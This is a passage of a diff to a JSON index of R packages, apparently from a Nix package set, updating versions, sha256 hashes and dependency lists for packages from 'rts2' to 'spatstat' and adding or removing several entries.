"lmerTest", "multcomp", "multcompView", "purrr", "reshape2", "tidyr"] }, "rtrek": { @@ -113025,9 +112653,9 @@ }, "rts2": { "name": "rts2", - "version": "0.7.7", - "sha256": "05njx6d6rrcsycp0q55ja5yx53nv8gpp2mnmp5kzmsdnlghimyg5", - "depends": ["BH", "R6", "Rcpp", "RcppEigen", "RcppParallel", "SparseChol", "StanHeaders", "glmmrBase", "lubridate", "rstan", "rstantools", "sf"] + "version": "0.8.0", + "sha256": "11qigvkrvgqbm7x08a9xrlm8a1qgrzrpda8dqhlqlcj2sd60wp07", + "depends": ["BH", "R6", "Rcpp", "RcppEigen", "RcppParallel", "SparseChol", "StanHeaders", "glmmrBase", "lubridate", "raster", "rstan", "rstantools", "sf", "stars"] }, "rtsdata": { "name": "rtsdata", @@ -113065,12 +112693,6 @@ "sha256": "1b36w3mqfazv62zb542b3c4h2xwjrjqx1azxhl0daw57x2lfh01b", "depends": ["Rcpp", "RcppParallel", "dplyr", "gtools", "magrittr", "readr", "rlang", "stringr", "tibble", "tidyr"] }, - "rucm": { - "name": "rucm", - "version": "0.6", - "sha256": "1n6axmxss08f2jf5impvyamyhpbha13lvrk7pplxl0mrrrl5g0n8", - "depends": ["KFAS"] - }, "rucrdtw": { "name": "rucrdtw", "version": "0.1.6", @@ -113095,12 +112717,6 @@ "sha256": "1fjyrcqb1hv86xwdq5zds8gdgnvcv1nnbh5j7mf17870miy0vzln", "depends": ["BH", "Rcpp"] }, - "ruin": { - "name": "ruin", - "version": "0.1.1", - "sha256": "124xs1c2mjfy6z0bp83rwkqw2y73g77xwn3q4yd2xw0v2frnpvpz", - "depends": ["ggplot2"] - }, "ruler": { "name": "ruler", "version": "0.3.0", @@ -113187,9 +112803,9 @@ }, "rush": { "name": "rush", - "version": "0.1.2", - "sha256": "1pcp60hn07r57dfs2xk7nd7y59q1ahnjylz30vbdpmny8cjxlx4n", - "depends": ["R6", "checkmate", "data_table", "jsonlite", "lgr", "mlr3misc", "processx", "redux", "uuid"] + "version": "0.2.0", + "sha256": "115k13k6qj8pq0h58y7qcknfw53x0qv4z0nrs446knc90rcwjscx", + "depends": ["R6", "checkmate", "data_table", "ids", "jsonlite", "lgr", "mirai", "mlr3misc", "processx", "redux", "uuid"] }, "rusk": { "name": "rusk", @@ -113289,8 +112905,8 @@ }, "rvinecopulib": { "name": "rvinecopulib", - "version": "0.7.2.1.0", - "sha256": "0vnhd182933ixw3g5mn0bsn8zmwss1ppiqb7zwx2hc6pzw8yka7d", + "version": "0.7.3.1.0", + "sha256": "1f0pjcwndv948zrqlw06mkbiia32bldz7d8yz61cl3cwyhs2s3nf", "depends": ["BH", "Rcpp", "RcppEigen", "RcppThread", "assertthat", "kde1d", "lattice", "wdm"] }, "rvisidata": { @@ -113463,8 +113079,8 @@ }, "s2": { "name": "s2", - "version": "1.1.8", - "sha256": "14c15a8zjidb3yb1d0s60p1wzj93dlh0bd0s9g9l85a7b05c0rj3", + "version": "1.1.9", + "sha256": "0mcvm72p42ksk34hslxl2ksy0972nsn2kvazjadsircbfgzjpkad", "depends": ["Rcpp", "wk"] }, "s20x": { @@ -114073,6 +113689,12 @@ "sha256": "0s00hd3ax4r662n8iqmd9i56sgyjxbgc59la7qvh3jwcnzcvmgz9", "depends": ["MASS", "Rcpp", "RcppArmadillo"] }, + "sanba": { + "name": "sanba", + "version": "0.0.1", + "sha256": "084nhbg8a8b8nh2fxg4if3cfyhrkscnb171n8j9s9xb3zdmbhhzk", + "depends": ["RColorBrewer", "Rcpp", "RcppArmadillo", "RcppProgress", "cpp11", "matrixStats", "salso", "scales"] + }, "sand": { "name": "sand", "version": "2.0.0", @@ -114195,14 +113817,14 @@ }, "saros": { "name": "saros", - "version": "1.5.1", - "sha256": "192y419lsdfbh760zla59jnmy9hnab8x9gyg4xjhbf95sgnd96ml", + "version": "1.5.4", + "sha256": "0ygb0wdj8jm1452dm34vgdbgwrm0025igl0skkypimrzcbrg8qdb", "depends": ["cli", "dplyr", "forcats", "fs", "ggiraph", "ggplot2", "glue", "lifecycle", "mschart", "officer", "rlang", "stringi", "tidyr", "tidyselect", "vctrs"] }, "saros_base": { "name": "saros.base", - "version": "1.0.0", - "sha256": "05zf6mxaycq2ac76dr19mr30n35zzhasskiqyy46vnbgx72r90i8", + "version": "1.1.0", + "sha256": "11qb91mnqxzs3ywl55rq1kwmcwvrpdbbvab37cgrcqgi6p6cq2a8", "depends": ["bcrypt", "cli", "dplyr", "forcats", "fs", "glue", "rlang", "rstudioapi", "stringi", "tidyr", "tidyselect", "vctrs", "yaml", "zip"] }, "sarp_snowprofile": { @@ -114505,12 +114127,6 @@ "sha256": "0gcwx8kfik1lv949r9d9rqqnvrfkr4bj5cj2i9h1r7l1b76kna74", "depends": ["glasso"] }, - "scMappR": { - "name": "scMappR", - "version": "1.0.11", - "sha256": "0a2jm2a10lawqrlcglaz31gx3kbvjz19f4ynhllkj0px61awxjah", - "depends": ["ADAPTS", "GSVA", "Seurat", "downloader", "gProfileR", "ggplot2", "gprofiler2", "limSolve", "pbapply", "pcaMethods", "pheatmap", "reshape"] - }, "scModels": { "name": "scModels", "version": "1.0.4", @@ -114601,12 +114217,6 @@ "sha256": "1p9828ymdm79b91z2fc2r5wy6i4hr1mx8fva6lr154c82ba3569z", "depends": ["deSolve", "lattice", "neldermead", "optimbase", "optimsimplex"] }, - "scaffolder": { - "name": "scaffolder", - "version": "0.0.1", - "sha256": "1va1mlhqv5qn0hm81ypdir9llr68222qxjp3jink69zpaskfbdib", - "depends": ["reticulate"] - }, "scagnostics": { "name": "scagnostics", "version": "0.2-6", @@ -114637,12 +114247,6 @@ "sha256": "1vnfhg4bg328vmvja6rzhwbsn8s70a27b8ngjmx2srcjikqgapnm", "depends": ["R6", "RColorBrewer", "cli", "farver", "glue", "labeling", "lifecycle", "rlang", "viridisLite"] }, - "scalpel": { - "name": "scalpel", - "version": "1.0.3", - "sha256": "0c8k99i5v2ki2bmcjjr6rfk7y1ds7jlykdwgn5x2zvzpdw7p4vlw", - "depends": ["Matrix", "R_matlab", "gam", "igraph", "protoclust"] - }, "scalreg": { "name": "scalreg", "version": "1.0.1", @@ -114651,8 +114255,8 @@ }, "scam": { "name": "scam", - "version": "1.2-18", - "sha256": "0a9dr53ma3fq8nfh7q191wml3mm74gy8rl9c46p0y40h1va2y3qx", + "version": "1.2-19", + "sha256": "1lfgwcrlsw49qk9wqzjaxgwy2bvd2gna6dkw1vz8vyaf88m5dpvq", "depends": ["Matrix", "mgcv"] }, "scan": { @@ -114813,8 +114417,8 @@ }, "schematic": { "name": "schematic", - "version": "0.1.1", - "sha256": "1g5hgf3wi8n6zn766m76hfqfb7r9i18b6rqr63p8w7s44c934zmx", + "version": "0.1.2", + "sha256": "1kgzsdzmqgivwi5y7kfzl5l27w6jr1z67rkz445d0yl0mj7gxaxg", "depends": ["cli", "glue", "purrr", "rlang", "tidyselect"] }, "schemr": { @@ -114943,12 +114547,6 @@ "sha256": "11gv2whjc62vxrgk3hc175pz3f56zfpnyk62hxg4hvqlypl6g75r", "depends": ["MASS", "ggplot2", "nortest", "reshape2", "stringi"] }, - "sclr": { - "name": "sclr", - "version": "0.3.1", - "sha256": "10pihx35889w509ijbyq5hzslk9n7kakjnfscg7p0dq198nbpyca", - "depends": ["broom", "dplyr", "purrr", "rlang", "tibble"] - }, "scoper": { "name": "scoper", "version": "1.3.0", @@ -115425,14 +115023,14 @@ }, "secr": { "name": "secr", - "version": "5.2.1", - "sha256": "0vvpaxj0xga26ad85i1fpnfz4jj6b0mlxd55cv387zlhj9zmc9r9", + "version": "5.2.4", + "sha256": "0a6gmzpz3gil3mqln13bp98acwjmpbymyikw9pyiwx4hjhns9wsh", "depends": ["BH", "MASS", "Rcpp", "RcppEigen", "RcppNumerical", "RcppParallel", "abind", "mgcv", "mvtnorm", "nlme", "raster", "sf", "stringr", "terra"] }, "secrdesign": { "name": "secrdesign", - "version": "2.9.3", - "sha256": "06fppvwlbbxa9dwkciq5ahyg1zvj70admnzzdrnlk4xc5mr87jxj", + "version": "2.10.0", + "sha256": "18ndbw28vp4rkrnhzf3agp9l24yrcqwayawar3f5l3qyg0sxzmf0", "depends": ["BH", "Rcpp", "RcppArmadillo", "abind", "kofnGA", "secr", "sf"] }, "secret": { @@ -115477,12 +115075,6 @@ "sha256": "1g6xfvgq4qgpgbhihpjxgxk87dwa9k2lhwrka4w1icyabchk6yg2", "depends": ["dplyr", "haven", "lubridate", "magrittr", "purrr", "readr", "readxl", "rlang", "stringr", "tibble", "tidyr"] }, - "secure": { - "name": "secure", - "version": "0.6", - "sha256": "1i0csl90w4qvhpnrxwrdhxzlmjw7hn30py36r41cd28igycz2bw3", - "depends": ["MASS", "Rcpp", "RcppArmadillo"] - }, "sedproxy": { "name": "sedproxy", "version": "0.7.5", @@ -115531,12 +115123,6 @@ "sha256": "07wg48pn2v3wcwf5a34b4hc0s1flfpphrylr4d9bayaxsvi3k0xk", "depends": ["boot", "car", "crayon", "dplyr", "drc", "emmeans", "ggplot2", "gridExtra", "hnp", "multcomp", "multcompView", "sf", "stringr"] }, - "seeds": { - "name": "seeds", - "version": "0.9.1", - "sha256": "0adk7y5ripg78bwkdgnlfwq9w9h6mlpdrikgbnn5z8az2qahc0in", - "depends": ["Deriv", "Hmisc", "MASS", "R_utils", "Ryacas", "callr", "coda", "deSolve", "dplyr", "ggplot2", "matrixStats", "mvtnorm", "pracma", "statmod", "tidyr"] - }, "seekr": { "name": "seekr", "version": "0.1.3", @@ -115555,12 +115141,6 @@ "sha256": "13c48sn453yp4j0ap8slnnr2gfhlxasz926p2pazkrg817w7m28z", "depends": ["tuneR"] }, - "segMGarch": { - "name": "segMGarch", - "version": "1.2", - "sha256": "0chw41h25jka9wa3rf3d8dq2ym47379jflv33q6qxaak8xy1kmd9", - "depends": ["Rcpp", "RcppArmadillo", "corpcor", "doParallel", "fGarch", "foreach", "iterators", "mvtnorm"] - }, "segRDA": { "name": "segRDA", "version": "1.0.2", @@ -115723,12 +115303,6 @@ "sha256": "0dnz7zz1rxkf80ayxmp56kcx3blbl5hxwcy66rhrs1s090mbhyxr", "depends": ["R6", "base64enc", "httr2", "jsonlite", "lifecycle", "processx", "rappdirs", "rlang"] }, - "seleniumPipes": { - "name": "seleniumPipes", - "version": "0.3.7", - "sha256": "1krpzh2gy3yl07c2n1d8q21xjc2qcv5ac1kv7212710bxkdyfad6", - "depends": ["httr", "jsonlite", "magrittr", "whisker", "xml2"] - }, "selfingTree": { "name": "selfingTree", "version": "0.2", @@ -115839,8 +115413,8 @@ }, "semicontMANOVA": { "name": "semicontMANOVA", - "version": "0.1-8", - "sha256": "08z4r8klp2drch89jd4j3ji0439p6dr93db51vnm3bzic0dbrm01", + "version": "0.2", + "sha256": "1xak8jmskwmg95jhkx8564qdfqbzqhdqv0jxlfiyxi64axrv8qcj", "depends": ["matrixcalc", "mvtnorm"] }, "semidist": { @@ -116179,6 +115753,12 @@ "sha256": "1vy5mgz5vnax1339qhski091w15pqx9wj7v1i3prf35pab658hzp", "depends": ["tuneR"] }, + "sequential_pops": { + "name": "sequential.pops", + "version": "0.1.1", + "sha256": "0jk6bcl69fi6zjhs5r7sgww6ag9akbk3fadxgp8nbj5x93v2krw6", + "depends": ["emdbook", "rlang", "truncdist"] + }, "sequoia": { "name": "sequoia", "version": "2.11.2", @@ -116557,6 +116137,12 @@ "sha256": "0qry7286kw6ks5kc3wp89ax43smmb6b77gral72izpbw5wkblphm", "depends": ["signal"] }, + "sgplot": { + "name": "sgplot", + "version": "0.4.0", + "sha256": "1vaaaddfj142h3xpdxin0g2pqp3kd2k301sa4ssawwa9l8yanajs", + "depends": ["cli", "ggplot2", "lifecycle", "rlang", "scales"] + }, "sgpv": { "name": "sgpv", "version": "1.1.0", @@ -116577,8 +116163,8 @@ }, "sgs": { "name": "sgs", - "version": "0.3.7", - "sha256": "1wcb4vlyn6q9zgxrdlrhb2jjzsxhfsj3yj9z88cyqry55x9b510w", + "version": "0.3.8", + "sha256": "1v8a6fsmbfyv734hcifjx5kcr9w3agb4c83911y858ig5hkb0l0d", "depends": ["MASS", "Matrix", "Rcpp", "RcppArmadillo", "Rlab", "SLOPE", "caret"] }, "sgsR": { @@ -116745,8 +116331,8 @@ }, "shelter": { "name": "shelter", - "version": "0.1.1", - "sha256": "0nvq96i0i4gcp8p81zk48b936gmz5sxag41pcajxr9gwkhpnkqwb", + "version": "0.2.1", + "sha256": "1dkagyz1f1p20qdxh4j36fdhp4c36pdp9azsxp4vmzdy6bw7ffa4", "depends": ["checkmate", "filelock", "getPass", "rappdirs", "sodium", "yaml"] }, "sherlock": { @@ -117067,12 +116653,6 @@ "sha256": "0vsmvd30n4i2gqzywl0h11v5zrrcf40gmr12fvngxm3baxa5v3xc", "depends": ["gplots", "htmltools", "jsonlite", "lifecycle", "magrittr", "shiny"] }, - "shinyMolBio": { - "name": "shinyMolBio", - "version": "0.2", - "sha256": "09lq5pvis450il1agcq5n9cilnq84rfv08w2dz1d0bbq1qgrgnvg", - "depends": ["RColorBrewer", "RDML", "checkmate", "dplyr", "plotly", "purrr", "shiny", "stringr", "whisker"] - }, "shinyMonacoEditor": { "name": "shinyMonacoEditor", "version": "1.1.0", @@ -117159,8 +116739,8 @@ }, "shinyStorePlus": { "name": "shinyStorePlus", - "version": "1.5", - "sha256": "0k40zlghs7v8m7j0wv8ap4jd5f18h7nw4dnbd0r6ay5pc3cmz1lj", + "version": "1.6", + "sha256": "1la8vcg9h4f4v8n5ps3wnb4176xv5j104bhf0afpwz6ggk7i51pl", "depends": ["htmltools", "jsonlite", "shiny", "shinyWidgets"] }, "shinyTempSignal": { @@ -117477,9 +117057,9 @@ }, "shinyscholar": { "name": "shinyscholar", - "version": "0.4.1", - "sha256": "05ip7c8v8v5jy930fnhd10ljzvzqhychsbyilc9l1qjkpw16hc27", - "depends": ["bslib", "curl", "devtools", "gargoyle", "glue", "knitr", "leaflet", "magrittr", "shiny", "zip"] + "version": "0.4.2", + "sha256": "1h6h5m8cxqdkb4cpfv1wwmfb07949a7w1hh6aawq2dm2racgl40c", + "depends": ["bslib", "curl", "devtools", "gargoyle", "glue", "knitr", "leaflet", "shiny", "zip"] }, "shinyscreenshot": { "name": "shinyscreenshot", @@ -117499,12 +117079,6 @@ "sha256": "0afm703zriyqprz1zvypir80lq2ylfff3qvj5i7p9n365mm8b150", "depends": ["DT", "bayesplot", "colourpicker", "dygraphs", "ggplot2", "gridExtra", "gtools", "markdown", "reshape2", "rstan", "shiny", "shinyjs", "shinythemes", "threejs", "xtable", "xts"] }, - "shinysurveys": { - "name": "shinysurveys", - "version": "0.2.0", - "sha256": "01bj0g8r71jng03psw9dcjann78divy2xr5yn6y1pa82d96s46b5", - "depends": ["htmltools", "jsonlite", "sass", "shiny"] - }, "shinytest": { "name": "shinytest", "version": "1.6.1", @@ -117559,12 +117133,6 @@ "sha256": "0vd8md4w4v05l9d5v7kx21kw3rkbkx8iqf4da44x95kfnnxiqjcx", "depends": ["jsonlite"] }, - "shopifyr": { - "name": "shopifyr", - "version": "1.0.0", - "sha256": "05hih1v5vvr7vmwarizsdx8517g74s96fdsz3klcz3g12idx1nqn", - "depends": ["R6", "curl", "jsonlite"] - }, "shoredate": { "name": "shoredate", "version": "1.1.1", @@ -117645,15 +117213,15 @@ }, "shrinkTVP": { "name": "shrinkTVP", - "version": "3.0.1", - "sha256": "0fcvx7pz4mn89g9g8x32wgqil9xyh29vjxx8hlvv5385ig2wd4lw", + "version": "3.1.0", + "sha256": "13mbcrvsx94lfykzlwkdiy5n5hh4rrmarpq8i9ql3i2cy1139wd5", "depends": ["GIGrvg", "Rcpp", "RcppArmadillo", "RcppGSL", "RcppProgress", "coda", "stochvol", "zoo"] }, "shrinkTVPVAR": { "name": "shrinkTVPVAR", - "version": "0.1.1", - "sha256": "0938fmh45nnvvkpxskqrzgkv25yghzy8pq8313l8q50xxpskp1rm", - "depends": ["RColorBrewer", "Rcpp", "RcppArmadillo", "RcppProgress", "coda", "lattice", "shrinkTVP", "stochvol", "zoo"] + "version": "1.0.1", + "sha256": "068z7x6xsdr0axl4qavzsgn64m86a9aqnk16fhvn8wjxwvfvk4j2", + "depends": ["RColorBrewer", "Rcpp", "RcppArmadillo", "RcppProgress", "coda", "lattice", "mvtnorm", "shrinkTVP", "stochvol", "zoo"] }, "shrinkem": { "name": "shrinkem", @@ -117705,8 +117273,8 @@ }, "sidier": { "name": "sidier", - "version": "4.1.0", - "sha256": "0zayhvhaq0q00rpgy0z01rhf3lcc3791klc8b30pdj627cl9xj01", + "version": "4.1.1", + "sha256": "0z6zsls1r0591vh1r7z42530pbmn7mdcqyymwj0kz47pxml7lbgg", "depends": ["ape", "ggmap", "ggplot2", "gridBase", "igraph", "network"] }, "sidrar": { @@ -117871,18 +117439,18 @@ "sha256": "13vs2ar1h1f5gr7nypxi47yd3c5bqhc1lcb5rrizcmzcc45cg8g9", "depends": ["MASS", "Matrix", "lavaan", "purrr", "semTools", "stringr"] }, + "silviculture": { + "name": "silviculture", + "version": "0.1.0", + "sha256": "1ahwv3y978434gizwr1imdfrk46jkq63v41af2y3gj2glwcc2wzq", + "depends": ["S7", "cli", "dplyr"] + }, "sim_BA": { "name": "sim.BA", "version": "0.1.0", "sha256": "0rwr77n7bg5w1f8ikz88lzm4kq32nxs4h2zr2fqwrwwwwp8paixf", "depends": ["chk", "cobalt", "ggplot2", "pbapply", "rlang", "scales", "survival"] }, - "sim1000G": { - "name": "sim1000G", - "version": "1.40", - "sha256": "1avq6xfc34izavvp9vb5ccc2b9nc4m7cwr06ygnsmpgwi5nswbb8", - "depends": ["MASS", "hapsim", "readr", "stringr"] - }, "sim2Dpredictr": { "name": "sim2Dpredictr", "version": "0.1.1", @@ -117903,8 +117471,8 @@ }, "simDAG": { "name": "simDAG", - "version": "0.3.0", - "sha256": "1f0pim3sg9q3djm1az08czy0l1f1hl2sz96qr1519dmyd041qml3", + "version": "0.3.1", + "sha256": "1qkk116vz5ngkqwnrc43zymw4x6gccsyvaiy8y3ks1c6799vpr7f", "depends": ["Rfast", "data_table", "igraph", "rlang"] }, "simDNAmixtures": { @@ -117955,12 +117523,6 @@ "sha256": "0b62lvknfqli6ki4w360b1ih9nsm6pinaqskgra6vl2nzsim3sal", "depends": ["dplyr", "rlang"] }, - "simMP": { - "name": "simMP", - "version": "0.17.3", - "sha256": "1pzg79dd08ds3pfzxnk9h95gaibicv00mnm0jb4i8v5is4gzrdhr", - "depends": ["BSgenome", "Biostrings", "GenomeInfoDb", "GenomicRanges", "IRanges", "XVector", "doParallel", "foreach"] - }, "simMSM": { "name": "simMSM", "version": "1.1.42", @@ -118395,9 +117957,9 @@ }, "simtrial": { "name": "simtrial", - "version": "0.4.2", - "sha256": "1wwx9z10ycl06s0v3farfk2hkbw4xpsgvhg1rdzl7p2cr3s5840m", - "depends": ["Rcpp", "data_table", "doFuture", "foreach", "future", "gsDesign2", "mvtnorm", "survival"] + "version": "1.0.0", + "sha256": "0czlq25p58ld8ligyzlw0kmwrzcpr3dg8kkazw80l13xi8968crz", + "depends": ["Rcpp", "data_table", "doFuture", "foreach", "future", "mvtnorm", "survival"] }, "simts": { "name": "simts", @@ -118677,8 +118239,8 @@ }, "sjstats": { "name": "sjstats", - "version": "0.19.0", - "sha256": "07qv32gnrhrl21zgj1xp1gqdqjn6ax1nf40s11nmpag8r0xgvqnk", + "version": "0.19.1", + "sha256": "0j0r9g55p0zch6dhxzzvflz78ib67p2j2kh08bbm6fj0qvy4idc1", "depends": ["datawizard", "effectsize", "insight", "parameters", "performance"] }, "sjtable2df": { @@ -118695,9 +118257,9 @@ }, "skedastic": { "name": "skedastic", - "version": "2.0.2", - "sha256": "1ln0scwgvpif610jgwdl0rzlx41i8w2ri1vaq0kl11vg69xp5105", - "depends": ["CompQuadForm", "MASS", "Matrix", "ROI", "ROI_plugin_qpoases", "Rdpack", "Rfast", "bazar", "broom", "caret", "inflection", "mgcv", "osqp", "pracma", "quadprog", "quadprogXT", "slam"] + "version": "2.0.3", + "sha256": "15l4p4wy7f5q3085bqbwr5f2qbf9xhj9lxqhln2nspjjmrj4r40r", + "depends": ["CompQuadForm", "MASS", "Matrix", "ROI", "ROI_plugin_qpoases", "Rdpack", "Rfast", "broom", "caret", "inflection", "mgcv", "osqp", "pracma", "quadprog", "quadprogXT", "slam"] }, "skeletor": { "name": "skeletor", @@ -118893,15 +118455,15 @@ }, "sleev": { "name": "sleev", - "version": "1.1.2", - "sha256": "0v5rxrr51y9kvppls7256x0xzd0lwhw327y2cz196854g1y9dd8x", + "version": "1.1.3", + "sha256": "0igs67lwnfipa24n40yl7d7l6ywn2arjv4cygl8r0yjfmlxmbky1", "depends": ["Rcpp", "RcppArmadillo", "RcppEigen"] }, "slendr": { "name": "slendr", - "version": "1.0.0", - "sha256": "1kbxc6jnh3iqwmk3rfnfpriip9w7qx774qs0pdqp4ijnjxqjbqjr", - "depends": ["ape", "digest", "dplyr", "ggplot2", "ijtiff", "magrittr", "png", "purrr", "readr", "reticulate", "scales", "shiny", "shinyWidgets", "tidyr"] + "version": "1.1.0", + "sha256": "1gz2ln9dx8r47f0parxpjcy68xbx8zq4076p7cg5bh96naxbgaaz", + "depends": ["ape", "digest", "dplyr", "ggplot2", "ggrepel", "ijtiff", "magrittr", "png", "purrr", "readr", "reticulate", "scales", "shiny", "shinyWidgets", "tidyr"] }, "slfm": { "name": "slfm", @@ -119085,8 +118647,8 @@ }, "smartsnp": { "name": "smartsnp", - "version": "1.1.0", - "sha256": "1gzzhys6bja55iclkji254kri6r3iamiw7bv881mp615wi9r3hx2", + "version": "1.2.0", + "sha256": "0l30ysi6n9yrmd49w1m2psdl6gxghk2d8lpw4h95yy7zw45amqrr", "depends": ["RSpectra", "Rcpp", "RcppArmadillo", "Rfast", "bootSVD", "data_table", "foreach", "vegan", "vroom"] }, "smatr": { @@ -119239,12 +118801,6 @@ "sha256": "0ljgk297sm201hzzjajddv39x78d90wn49sbzjrvia2d2hwz5s3j", "depends": ["survival"] }, - "smoothROCtime": { - "name": "smoothROCtime", - "version": "0.1.0", - "sha256": "03iihjxb5xdaf74cm9cajqqjli754mdmv5v1y4hla9vv23017ca1", - "depends": ["ks"] - }, "smoothSurv": { "name": "smoothSurv", "version": "2.6", @@ -119539,12 +119095,6 @@ "sha256": "00rmigjyd3fsmhrhbvjzrfsl4ir0xpfr4xbgjws6vkx2rmcqnq1s", "depends": ["minqa", "np", "pbmcapply"] }, - "soc_ca": { - "name": "soc.ca", - "version": "0.8.0", - "sha256": "16l0synym91b7djgzdcz43dnvw44fkyxky9gm37ixbxzq1czdp9w", - "depends": ["FactoMineR", "Matrix", "RColorBrewer", "dplyr", "ellipse", "flextable", "forcats", "ggplot2", "ggrepel", "gridExtra", "htmlTable", "magrittr", "purrr", "reshape2", "rlang", "shiny", "stringr", "tibble", "tidyr"] - }, "socceR": { "name": "socceR", "version": "0.1.1", @@ -119775,8 +119325,8 @@ }, "sommer": { "name": "sommer", - "version": "4.4.1", - "sha256": "1j5cldirqjq8357wl0i9jx4m9p135v1z516p1m164yqyfh2p3h0v", + "version": "4.4.2", + "sha256": "0j9ip8m5pfyyjngibrbp4gr938njg154cfxhhvrilwgr545959av", "depends": ["MASS", "Matrix", "Rcpp", "RcppArmadillo", "RcppProgress", "crayon"] }, "somspace": { @@ -119817,8 +119367,8 @@ }, "soptdmaeA": { "name": "soptdmaeA", - "version": "1.0.0", - "sha256": "03n1y82myq0rz14awjnx9nx1dz3dxqq58m13cw7a7ncap7fmw9r5", + "version": "1.0.1", + "sha256": "0f8y6brf6c2rp4nmdx0dwasav8z6frn7185razi39d9zcdyqcl22", "depends": ["MASS", "Matrix", "igraph"] }, "soql": { @@ -119829,8 +119379,8 @@ }, "sorcering": { "name": "sorcering", - "version": "1.1.0", - "sha256": "1w0kwc7wbkdl41kcjgdc68hscklg10byzbk309r13s1101xn6g3v", + "version": "1.2.0", + "sha256": "16wia8z97l4f33jvp5sb36sfifsbpjk4ix1xb2c1wzxap881qwd2", "depends": ["Rcpp", "RcppArmadillo", "Rdpack", "mathjaxr"] }, "sorocs": { @@ -119901,8 +119451,8 @@ }, "sourcoise": { "name": "sourcoise", - "version": "0.5.0", - "sha256": "0ik3svf6hw0wr4pz24zjysza8sfh4ayk2s17r2hksman67mfl61k", + "version": "0.6.2", + "sha256": "0ykb26d7pwg4gw92c915hy2qnrcgcpjcyvmb9nwjlzxbf68bmlvd", "depends": ["cli", "digest", "dplyr", "fs", "glue", "jsonlite", "lobstr", "logger", "lubridate", "purrr", "qs2", "rlang", "rprojroot", "scales", "stringr", "tibble"] }, "sovereign": { @@ -120117,8 +119667,8 @@ }, "spacesXYZ": { "name": "spacesXYZ", - "version": "1.5-1", - "sha256": "181z510lr7vrfy3qrbz1xhy68h4r78jiydz5yhx2hzrbz935rai8", + "version": "1.6-0", + "sha256": "1dvvnvr13bz3wc84syrqpf32ajkl2w0f6q4h40wmkycssyyhmskj", "depends": ["logger"] }, "spacetime": { @@ -120171,8 +119721,8 @@ }, "spant": { "name": "spant", - "version": "3.3.0", - "sha256": "1bkcldqlnjfh29p0iwywpn95s0s31m6ic8dbws4bi5zjdi43237g", + "version": "3.4.0", + "sha256": "055hhni4j8sswl99jzv8v6l579wklg4721b38mixjj8kpcj6bqbk", "depends": ["RNifti", "RNiftyReg", "abind", "expm", "fields", "irlba", "jsonlite", "minpack_lm", "mmand", "nloptr", "numDeriv", "plyr", "pracma", "ptw", "signal", "stringr"] }, "sparcl": { @@ -120379,6 +119929,12 @@ "sha256": "06inzix9m7b5g7c97lyvyl2g7fdr4iz60791hl2w9mah7nd6bfja", "depends": ["Matrix", "Rcpp", "spam"] }, + "sparselink": { + "name": "sparselink", + "version": "1.0.0", + "sha256": "1cifzlng5v5hpi8lkz4j12kg62kiw56v8p7p219cfzxfx7x27spa", + "depends": ["glmnet", "mvtnorm", "pROC", "spls", "xrnet"] + }, "sparsenet": { "name": "sparsenet", "version": "1.7", @@ -120423,8 +119979,8 @@ }, "sparsevctrs": { "name": "sparsevctrs", - "version": "0.3.3", - "sha256": "14r3w74xycsbs7am8ff8mb06m75nf0scscmishdh8mhkjhi5nni6", + "version": "0.3.4", + "sha256": "0wpjxcyckx3wnxdky3slyacv1nwm4xqc9aib2qm268pd0ksgpik9", "depends": ["cli", "rlang", "vctrs"] }, "sparsio": { @@ -120465,8 +120021,8 @@ }, "spatemR": { "name": "spatemR", - "version": "1.0.0", - "sha256": "1y1hyg8qs7hi6ay5qxj9kglivv4pb79a5w35m3irfdidw5666x9w", + "version": "1.2.0", + "sha256": "0mrdx23mv94rm88f3bld3qm5cg21w900wz436wp3rwzmp0ficnjd", "depends": ["gamlss", "gamlss_dist"] }, "spatgeom": { @@ -120507,8 +120063,8 @@ }, "spatialGE": { "name": "spatialGE", - "version": "1.2.0", - "sha256": "1xlzj7lvxdvk8q5cj387ncj3x40dywl0sfn28q6xcdlisdibyvi3", + "version": "1.2.2", + "sha256": "1ayq06bhgg6k91pvj24sf1nl42d3y80gxr5nfx3iy6i4ha3l01av", "depends": ["BiocParallel", "ComplexHeatmap", "DelayedArray", "DelayedMatrixStats", "EBImage", "GSVA", "MASS", "Matrix", "RColorBrewer", "Rcpp", "RcppEigen", "RcppProgress", "arrow", "concaveman", "data_table", "dplyr", "dynamicTreeCut", "ggforce", "ggplot2", "ggpolypath", "ggrepel", "gstat", "hdf5r", "jpeg", "jsonlite", "khroma", "magrittr", "png", "readr", "readxl", "rlang", "scales", "sctransform", "sf", "sfsmisc", "sp", "spaMM", "spdep", "stringr", "tibble", "tidyr", "uwot", "wordspace"] }, "spatialRF": { @@ -120523,6 +120079,12 @@ "sha256": "0i5fcy2q53612kq1qjg2sp10lwsiva6nay0v2jl2mw28zx6p22s9", "depends": ["RColorBrewer", "crayon", "dixon", "dplyr", "furrr", "future", "ggplot2", "magrittr", "pbmcapply", "purrr", "scales", "spatstat_explore", "spatstat_geom", "spatstat_univar", "stringr", "tibble", "tidyr", "tidyselect"] }, + "spatialfusion": { + "name": "spatialfusion", + "version": "0.7", + "sha256": "0snrv92xrzfc2xrv937mwyng7xp6rgfhn61nhddbrkwfw5dw7vl5", + "depends": ["deldir", "fields", "rstan", "sf", "sp", "spam"] + }, "spatialising": { "name": "spatialising", "version": "0.6.0", @@ -120543,9 +120105,9 @@ }, "spatialrisk": { "name": "spatialrisk", - "version": "0.7.1", - "sha256": "1r6dr4n3d0x1yb4vcbfq0aqdqmy0h4n73snl86wrk86agvi5rmwp", - "depends": ["GenSA", "Rcpp", "RcppProgress", "classInt", "colourvalues", "data_table", "dplyr", "fs", "geohashTools", "ggplot2", "leafem", "leafgl", "leaflet", "sf", "tmap", "units", "viridis"] + "version": "0.7.2", + "sha256": "1lkqjw0fgjmrnl9jw9zh2j4nhns6076zhzml6naydxnnmpibsiv7", + "depends": ["Rcpp", "RcppProgress", "classInt", "data_table", "dplyr", "fs", "ggplot2", "lifecycle", "mapview", "rlang", "sf", "terra", "tmap", "units", "viridis"] }, "spatialsample": { "name": "spatialsample", @@ -120573,8 +120135,8 @@ }, "spatstat": { "name": "spatstat", - "version": "3.3-2", - "sha256": "0pxy5b6x3bwsqbvnqk6righ2fp41r28hpwcyipjmijlnxcs6slnb", + "version": "3.3-3", + "sha256": "1sg09hdzr9a327d3nwsvbz35s3mcdxy6gxbchmwwzqs6yagb1gh6", "depends": ["spatstat_data", "spatstat_explore", "spatstat_geom", "spatstat_linnet", "spatstat_model", "spatstat_random", "spatstat_univar", "spatstat_utils"] }, "spatstat_Knet": { @@ -120609,8 +120171,8 @@ }, "spatstat_linnet": { "name": 